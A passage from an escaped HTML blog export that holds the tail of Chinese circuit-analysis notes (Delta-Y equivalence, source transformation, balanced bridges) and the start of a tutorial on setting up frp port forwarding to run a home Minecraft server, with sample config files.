$S$\u003c/strong\u003e\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e混联等效\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e即:既有串联,又有并联\u003c/p\u003e\u003cp\u003e观察电路的\u003cstrong\u003e结构特点和电压、电流关系\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-164722.png\"/\u003e\u003c/p\u003e\u003cp\u003e很快就能算出 $R_{eq}=1.5\\Omega$\u003c/p\u003e\u003ch3 id=\"Delta-形Y形连接等效\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/19/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E7%94%B5%E8%B7%AF%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%A7%84%E5%BE%8B/#Delta-%E5%BD%A2Y%E5%BD%A2%E8%BF%9E%E6%8E%A5%E7%AD%89%E6%95%88\" class=\"headerlink\" title=\"$\\Delta$形Y形连接等效\"\u003e\u003c/a\u003e$\\Delta$形Y形连接等效\u003c/h3\u003e\u003col\u003e\u003cli\u003e问题的提出\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-170646.png\"/\u003e\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e等效\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-170751.png\"/\u003e\u003c/p\u003e\u003cp\u003e其中,2个支路的电流和电压独立。\u003c/p\u003e\u003cp\u003e对于图a中的三个支路,由KCL和OL得到关系:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-171045.png\"/\u003e\u003c/p\u003e\u003cp\u003e图b中,由KVL得:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-171124.png\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-171133.png\"/\u003e\u003c/p\u003e\u003cp\u003e式3、5和式4、6应恒等。\u003c/p\u003e\u003cp\u003e结论:从 $\\Delta$到Y:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eR_1=\\frac{R_{12}R_{13}}{R_{12}+R_{13}+R_{23}}\\\u003cbr/\u003eR_2=\\frac{R_{12}R_{23}}{R_{12}+R_{13}+R_{23}}\\\u003cbr/\u003eR_3=\\frac{R_{13}R_{23}}{R_{12}+R_{13}+R_{23}}\\\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-171831.png\" alt=\"助记\"/\u003e\u003c/p\u003e\u003cp\u003e从Y到 $\\Delta$:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eR_{12}=\\frac{R_1R_2+R_2R_3+R_3R_1}{R_3}\\\u003cbr/\u003eR_{23}=\\frac{R_1R_2+R_2R_3+R_3R_1}{R_1}\\\u003cbr/\u003eR_{13}=\\frac{R_1R_2+R_2R_3+R_3R_1}{R_2}\\\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-171840.png\" alt=\"助记\"/\u003e\u003c/p\u003e\u003cp\u003e同时,若 $R_1=R_2=R_3=R_Y$,则 $R_{12}=R_{23}=R_{13}=R_\\Delta$,且 $R_\\Delta=3R_Y$\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e举例\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-172227.png\"/\u003e\u003c/p\u003e\u003cp\u003e这是一个桥接电路。\u003c/p\u003e\u003ch3 id=\"含受控源电阻的等效\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/19/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E7%94%B5%E8%B7%AF%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%A7%84%E5%BE%8B/#%E5%90%AB%E5%8F%97%E6%8E%A7%E6%BA%90%E7%94%B5%E9%98%BB%E7%9A%84%E7%AD%89%E6%95%88\" class=\"headerlink\" title=\"含受控源电阻的等效\"\u003e\u003c/a\u003e含受控源电阻的等效\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-221606.png\" alt=\"N_i_u\"/\u003e\u003c/p\u003e\u003cp\u003e如图,u、i参考方向关联,因此定义其端口等效电阻为:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eR_{eq}=\\frac{u}{i}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e$R_{eq}$的计算使用外加电流的方法:外加独立电流/电压源得到伏安关系,从而得到 $R_{eq}$。\u003c/p\u003e\u003cul\u003e\u003cli\u003e例1\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-173251.png\" alt=\"example_1\"/\u003e\u003c/p\u003e\u003cp\u003e解题关键就是计算得到 $u$ 和 $i$,此时就可利用定义式得到等效电阻。\u003c/p\u003e\u003cul\u003e\u003cli\u003e例2\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-165041.png\" alt=\"example_2\"/\u003e\u003c/p\u003e\u003ch3 id=\"独立源的串并联等效\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/19/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E7%94%B5%E8%B7%AF%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%A7%84%E5%BE%8B/#%E7%8B%AC%E7%AB%8B%E6%BA%90%E7%9A%84%E4%B8%B2%E5%B9%B6%E8%81%94%E7%AD%89%E6%95%88\" class=\"headerlink\" title=\"独立源的串并联等效\"\u003e\u003c/a\u003e独立源的串并联等效\u003c/h3\u003e\u003cul\u003e\u003cli\u003e电压源串联而成的二端电路,可以等效成\u003cem\u003e一个电压源\u003c/em\u003e,其值为几个电压源的电压值代数和。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-221639.png\" alt=\"电压源串联\"/\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e注意;方向一致、电压相等的电压源才能并联,否则违背KVL\u003c/p\u003e\u003c/blockquote\u003e\u003cul\u003e\u003cli\u003e多个电流源可以并联,等效为一个电流源,其值为各电流源 电流值的代数和。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-221705.png\" alt=\"电流源并联\"/\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e同样地,电流值一致且方向相等的电流源才能串联,否则违背KCL\u003c/p\u003e\u003c/blockquote\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e电流源与电压源/电阻串联:对外只等效为电流源。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e电压源和电流源/电阻并联:对外只等效为电压源。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-221729.png\" alt=\"其他等效\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e电源等效后的外特性不变。\u003c/strong\u003e\u003c/p\u003e\u003ch2 id=\"实际电源的模型\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/19/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E7%94%B5%E8%B7%AF%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%A7%84%E5%BE%8B/#%E5%AE%9E%E9%99%85%E7%94%B5%E6%BA%90%E7%9A%84%E6%A8%A1%E5%9E%8B\" class=\"headerlink\" title=\"实际电源的模型\"\u003e\u003c/a\u003e实际电源的模型\u003c/h2\u003e\u003cp\u003e将实际电源(例如干电池)外接滑动变阻器,得到其电源特性曲线:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-221813.png\" alt=\"u-i曲线\"/\u003e\u003c/p\u003e\u003cp\u003e令 $\\frac{U_s}{I_s}=R_s$,得到解析式为:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eu=U_s-R_si\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e这就是实际电源的电压源模型:电压源和内阻 $R_s$ 的串联。\u003c/p\u003e\u003cp\u003e若将表达式变形为关于 $i$ 的函数,则:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ei=I_s-\\frac{u}{R_s}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e这就是实际电源的电流源模型:电流源和内阻 $R_s$ 的并联。\u003c/p\u003e\u003ch3 id=\"两模型的互换等效\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/19/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E7%94%B5%E8%B7%AF%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%A7%84%E5%BE%8B/#%E4%B8%A4%E6%A8%A1%E5%9E%8B%E7%9A%84%E4%BA%92%E6%8D%A2%E7%AD%89%E6%95%88\" class=\"headerlink\" title=\"两模型的互换等效\"\u003e\u003c/a\u003e两模型的互换等效\u003c/h3\u003e\u003cp\u003e由于前面两者的VCR(伏安关系)相同,所以实际电源的这两种模型电路是等效的。这也适用于受控电压/电流源,也就是说,受控源也可以等效互换。\u003c/p\u003e\u003cp\u003e互换时要注意电压源的电压极性与电流源电流的方向之间的关系。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-222024.png\" alt=\"互换等效\"/\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e例1\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-222043.png\" alt=\"example-1\"/\u003e\u003c/p\u003e\u003cp\u003e上面的例子通过源的等效变换和独立源的串并联等效,将电路化简为只含两个电源的电路,大大简化了电路。\u003c/p\u003e\u003cul\u003e\u003cli\u003e例2\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-222118.png\" alt=\"example-2-1\"/\u003e\u003cbr/\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-222154.png\" alt=\"example-2-2\"/\u003e\u003c/p\u003e\u003cp\u003e上面例题的关键是根据公式 $i=I_s-\\frac{u}{R_s}$将实际电源变形为电流源。完成之后进行正常的电源等效合并简化电路即可。\u003c/p\u003e\u003ch3 id=\"总结\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/19/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E7%94%B5%E8%B7%AF%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%A7%84%E5%BE%8B/#%E6%80%BB%E7%BB%93\" class=\"headerlink\" title=\"总结\"\u003e\u003c/a\u003e总结\u003c/h3\u003e\u003cul\u003e\u003cli\u003e一个实际电路对应两个理想电源模型\u003c/li\u003e\u003cli\u003e实际电源的两种等效理想电源模型:\u003cbr/\u003e$$\u003cbr/\u003ei_S=\\frac{u_S}{R_S} \\\u003cbr/\u003eu_S=R_Si_S\u003cbr/\u003e$$\u003c/li\u003e\u003cli\u003e电路等效变换过程中,电路结构会发生变化,注意未知量是否变化\u003c/li\u003e\u003cli\u003e受控电压源/电流源+电阻也可以等效变换,不过\u003cstrong\u003e注意变换过程中,控制两必须保留\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"电源的等效转移\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/19/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E7%94%B5%E8%B7%AF%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%A7%84%E5%BE%8B/#%E7%94%B5%E6%BA%90%E7%9A%84%E7%AD%89%E6%95%88%E8%BD%AC%E7%A7%BB\" class=\"headerlink\" title=\"电源的等效转移\"\u003e\u003c/a\u003e电源的等效转移\u003c/h2\u003e\u003ch3 id=\"电压源-等效变换\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/19/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E7%94%B5%E8%B7%AF%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%A7%84%E5%BE%8B/#%E7%94%B5%E5%8E%8B%E6%BA%90-%E7%AD%89%E6%95%88%E5%8F%98%E6%8D%A2\" class=\"headerlink\" title=\"电压源-等效变换\"\u003e\u003c/a\u003e电压源-等效变换\u003c/h3\u003e\u003cp\u003e利用了bcde结点电位相等的特点,将电压源分拆到三路上。\u003cstrong\u003e转移后的各回路的KVL方程应不变\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-222940.png\" alt=\"open-node\"/\u003e\u003c/p\u003e\u003cp\u003e例如:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-223127.png\" alt=\"apart-power\"/\u003e\u003c/p\u003e\u003cp\u003e上图中有两种拆法,既可以拆到左边也可以拆到右边。\u003c/p\u003e\u003cul\u003e\u003cli\u003e例1\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-223335.png\" alt=\"example-1\"/\u003e\u003c/p\u003e\u003ch3 id=\"电流源-等效变换\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/19/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E7%94%B5%E8%B7%AF%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%A7%84%E5%BE%8B/#%E7%94%B5%E6%B5%81%E6%BA%90-%E7%AD%89%E6%95%88%E5%8F%98%E6%8D%A2\" class=\"headerlink\" title=\"电流源-等效变换\"\u003e\u003c/a\u003e电流源-等效变换\u003c/h3\u003e\u003cp\u003e从起点开始,选择一回路到终点,每条支路并联。\u003cstrong\u003e转移后的KCL方程应保持不变\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-223645.png\" alt=\"current-trans\"/\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e例2\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-223719.png\" alt=\"example-2\"/\u003e\u003c/p\u003e\u003ch2 id=\"电桥\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/19/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E7%94%B5%E8%B7%AF%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%A7%84%E5%BE%8B/#%E7%94%B5%E6%A1%A5\" class=\"headerlink\" title=\"电桥\"\u003e\u003c/a\u003e电桥\u003c/h2\u003e\u003cp\u003e顾名思义,“桥”是起连接作用的。电桥所连接的,则是电路。\u003c/p\u003e\u003cp\u003e将两个支路用电阻 $R_5$相连接,则 $R_1 \\dots R_5$就形成了一个电桥。 $R_5$就是桥接电阻。\u003c/p\u003e\u003ch3 id=\"平衡电桥\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/19/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E7%94%B5%E8%B7%AF%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%A7%84%E5%BE%8B/#%E5%B9%B3%E8%A1%A1%E7%94%B5%E6%A1%A5\" class=\"headerlink\" title=\"平衡电桥\"\u003e\u003c/a\u003e平衡电桥\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-224348.png\" alt=\"e-bridge\"/\u003e\u003c/p\u003e\u003cp\u003e在上图中,如果存在:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eR_1R_4=R_2R_3\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e则会有A,B两点等电位。这即是平衡电桥。\u003c/p\u003e\u003cp\u003e显然,平衡电桥具备下面的性质:\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e等电位点间连接任意电阻,都不影响外电路的支路量\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e也就是说,平衡电桥可以看作开路。\u003c/p\u003e\u003cp\u003e同时,将 $R_4$换为可调节电阻 $R$,电桥换为电流计 $A$,即可测量 $R_1$的阻值:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eR_x=\\frac{R_2R_3}{R}\u003cbr/\u003e$$\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/10/19/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E7%94%B5%E8%B7%AF%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%A7%84%E5%BE%8B/"},{"title":"frp内网穿透搭建Minecraft服务器","time":"2022-06-28T17:05:34Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"原料\"\u003e\u003ca href=\"https://xeonds.github.io/2022/06/28/%E6%B8%B8%E6%88%8F/Minecraft/frp%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F%E6%90%AD%E5%BB%BAMinecraft%E6%9C%8D%E5%8A%A1%E5%99%A8/#%E5%8E%9F%E6%96%99\" class=\"headerlink\" title=\"原料\"\u003e\u003c/a\u003e\u003cdel\u003e原料\u003c/del\u003e\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://github.com/fatedier/frp/releases/\"\u003efrp\u003c/a\u003e:这次搭建服务器的核心工具\u003c/li\u003e\u003cli\u003e一台公网服务器:我用的是腾讯云。性能无所谓\u003c/li\u003e\u003cli\u003e一台跑mc服务端的电脑:我用的自己的台式机\u003c/li\u003e\u003cli\u003e一个公网域名:没有的话用服务器IP也行\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"准备\"\u003e\u003ca href=\"https://xeonds.github.io/2022/06/28/%E6%B8%B8%E6%88%8F/Minecraft/frp%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F%E6%90%AD%E5%BB%BAMinecraft%E6%9C%8D%E5%8A%A1%E5%99%A8/#%E5%87%86%E5%A4%87\" class=\"headerlink\" title=\"准备\"\u003e\u003c/a\u003e准备\u003c/h2\u003e\u003cp\u003e1.开放端口\u003c/p\u003e\u003cp\u003eMinecraft服务端需要开放\u003ccode\u003e25565\u003c/code\u003e端口,frp需要开放\u003ccode\u003e7000\u003c/code\u003e端口作为绑定端口,\u003ccode\u003e8080\u003c/code\u003e(或者其他闲置端口)作为http端口。如果需要监控面板的话还需要开放\u003ccode\u003e7500\u003c/code\u003e端口。\u003c/p\u003e\u003cp\u003e开放时,都选择\u003ccode\u003etcp\u003c/code\u003e即可。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e上述端口都可以根据实际情况改变\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e2.下载文件\u003c/p\u003e\u003cp\u003e从上述frp链接到的GitHub release页面中下载你需要的版本。服务端和客户端是在同一个\u003ccode\u003etar.gz\u003c/code\u003e文件中的,所以只需要下载你公网服务器和本地服务器对应的版本即可。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e后缀简介:i386:32位系统;amd64:64位系统;linux:Ubuntu等Linux系统;windows:Windows;arm32/64:arm版系统。按需下载即可。速度慢可以搜搜\u003ccode\u003eGitHub加速\u003c/code\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"配置\"\u003e\u003ca href=\"https://xeonds.github.io/2022/06/28/%E6%B8%B8%E6%88%8F/Minecraft/frp%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F%E6%90%AD%E5%BB%BAMinecraft%E6%9C%8D%E5%8A%A1%E5%99%A8/#%E9%85%8D%E7%BD%AE\" class=\"headerlink\" title=\"配置\"\u003e\u003c/a\u003e配置\u003c/h2\u003e\u003cp\u003e1.公网服务器:随便创建个目录,用\u003ccode\u003etar -zxvf [文件名]\u003c/code\u003e解压文件。不会上传到服务器的自行百度\u003ccode\u003escp\u003c/code\u003e。解压完成后保留\u003ccode\u003efrps\u003c/code\u003e和\u003ccode\u003efrps.ini\u003c/code\u003e即可。使用\u003ccode\u003evim frps.ini\u003c/code\u003e编辑配置文件如下:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e[common]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ebind_port = 7000\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evhost_http_port = 8080\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etoken=114514 \u003cspan class=\"comment\"\u003e#客户端连接密码\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e#下面是监控面板的配置,不需要可以忽略\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003edashboard_addr=0.0.0.0\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003edashboard_port=7500 \u003cspan class=\"comment\"\u003e#监控面板端口。用[你服务器地址]:7500即可访问\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003edashboard_user=114514 \u003cspan class=\"comment\"\u003e#监控面板用户名\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003edashboard_pwd=114514 \u003cspan class=\"comment\"\u003e#监控面板密码\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e按\u003ccode\u003eEsc\u003c/code\u003e,输入\u003ccode\u003e:wq\u003c/code\u003e保存并退出。随后输入\u003ccode\u003escreen -dmS frp-server ./frps -c ./frps.ini\u003c/code\u003e并回车,创建一个名为\u003ccode\u003efrps-server\u003c/code\u003e的后台窗口并在其中开启\u003ccode\u003efrps\u003c/code\u003e服务端。\u003c/p\u003e\u003cp\u003eOK,\u003ccode\u003eexit\u003c/code\u003e退出连接即可。\u003c/p\u003e\u003cp\u003e2.内网服务器:按照其他的教程开启Minecraft服务器即可,具体搜索\u003ccode\u003eMinecraft Java开服\u003c/code\u003e。确保端口为\u003ccode\u003e25565\u003c/code\u003e,随后解压\u003ccode\u003efrp\u003c/code\u003e并保留\u003ccode\u003efrpc\u003c/code\u003e和\u003ccode\u003efrpc.ini\u003c/code\u003e并打开\u003ccode\u003efrpc.ini\u003c/code\u003e,编辑为:\u003c/p\u003e\u003cfigure class=\"highlight bat\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e[common]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eserver_addr = [你服务器的地址]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eserver_port = \u003cspan class=\"number\"\u003e7000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etoken=\u003cspan class=\"number\"\u003e114514\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e[mcs]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003etype\u003c/span\u003e = tcp\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003elocal_ip = \u003cspan class=\"number\"\u003e127\u003c/span\u003e.\u003cspan class=\"number\"\u003e0\u003c/span\u003e.\u003cspan class=\"number\"\u003e0\u003c/span\u003e.\u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003elocal_port = \u003cspan class=\"number\"\u003e25565\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eremote_port=\u003cspan class=\"number\"\u003e25565\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e保存退出。双击运行\u003ccode\u003efrpc.exe\u003c/code\u003e即可。\u003c/p\u003e\u003ch2 id=\"尾声\"\u003e\u003ca href=\"https://xeonds.github.io/2022/06/28/%E6%B8%B8%E6%88%8F/Minecraft/frp%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F%E6%90%AD%E5%BB%BAMinecraft%E6%9C%8D%E5%8A%A1%E5%99%A8/#%E5%B0%BE%E5%A3%B0\" class=\"headerlink\" title=\"尾声\"\u003e\u003c/a\u003e尾声\u003c/h2\u003e\u003cp\u003e配好之后按理来说就能玩了。如果有报错的话请Google一下\u003ccode\u003efrp+你的报错信息\u003c/code\u003e,会有解决办法的。\u003c/p\u003e\u003cp\u003e啊不对重点不是这个……我们上面用了\u003ccode\u003escreen\u003c/code\u003e来做中转,这样每次重启服务器都需要手动开启服务很麻烦。可以用service一劳永逸解决这个问题:\u003ca 